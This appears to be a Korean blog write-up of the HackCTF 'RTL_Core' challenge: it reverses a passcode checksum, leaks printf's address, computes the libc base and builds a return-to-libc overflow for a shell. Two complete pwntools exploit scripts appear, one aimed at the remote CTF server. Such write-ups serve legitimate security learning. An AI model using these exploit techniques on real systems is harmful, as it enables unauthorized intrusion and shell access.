Execute
문제를 실행시키면 passcode를 입력하라고 한다. 당연히 모르므로 실패가 뜨는 것을 확인 할 수 있다.
Analyze
보호기법을 확인해보면 NXbit만 걸려있는 것을 확인 할 수 있다. 문제이름이 RTL인 만큼 해당기법을 사용하지 않을까 싶다.
Main
- Line 8 : s변수에 gets함수를 통해 입력을 받는다.
- Line 9~13 : if문으로 통과 조건은 check_passcde의 return값이 hashcode와 같은 경우이다.
Core
해당함수는 dlsym함수를 통해 prinf함수의 address를 v5에 저장한 이우 해당 값을 leak 해준다. Printf의 address를 기반으로 이후 exploit을 짤 때 참고 하면 될 것 같다.
Check_passcode
앞서 확인한 if문 통과 로직에 사용되는 함수이다. 동작은 간단한데 v2에 v2+a1+4*i의 포인터형을 계속 더해준다.
solve
일단 printf함수의 address를 leak하기 위해서는 if문을 통과해서 core함수를 호출 할 수 있어야한다. 일단 hashcode에 어떤 내용이 들어있는지 확인해보자.
0x0C0D9B0A7이 들어있는 것을 확인 할 수 있다. 따라서 내가 넣은 값이 어떤 연산이 진행되는지를 파악하면 0x0C0D9B0A7과 동일한 값을 만들어 낼 수 있을 것이다.
a1의 경우 문자열의 address값이다. 따라서 포인터가 4byte증가하면서 해당 address의 내용을 총 5회 v2에 더해주므로 0x0C0D9B0A7을 5로 나누어 주면 된다.
해당값을 나누어주면 나누어 떨어지지 않고 나머지가 2가 남는 것을 알 수 있다. 따라서 값을 전전 할 때 하나는 2큰값을 넣어주면 된다,
from pwn import *
p = process('./rtlcore')
payload = b''
payload += p32(0x2691f021) * 4
payload += p32(0x2691f023)
p.recvuntil('Passcode: ')
p.sendline(payload)
p.interactive()
성공적으로 printf의 address를 leak할 수 있다.
현재 작성한 스크립트를 서버에 날려보면 실행시마다 leak되는 값이 다르므로 aslr이 걸려있는것을 확인할 수 있다.
따라서 prinf의 offset을 뺴서 base를 계산한후 base에 system함수나 bin/sh의 offset를 더해서 공격을 진행 해야 한다.
Exploit은 아래와 같다
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3015)
e = ELF('./rtlcore')
libc = ELF('./libc.so.6')
payload1 = b''
payload1 += p32(0x2691f021) * 4
payload1 += p32(0x2691f023)
p.recvuntil('Passcode')
p.sendline(payload1)
p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b''
payload2 += b'a' * 66
payload2 += p32(system_addr)
payload2 += b'a' * 4
payload2 += p32(binsh_addr)
p.sendline(payload2)
p.interactive()
성공적으로 shell을 얻고 flag를 획득 할 수 있었다.
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF - look at me] (0) | 2021.01.21 |
---|---|
[Hack CTF – poet] (0) | 2021.01.15 |
[Hack CTF - g++pwn] (1) | 2021.01.11 |
[Hack CTF - RTL_World] (2) | 2021.01.10 |
[Hack CTF - yes or no] (0) | 2021.01.09 |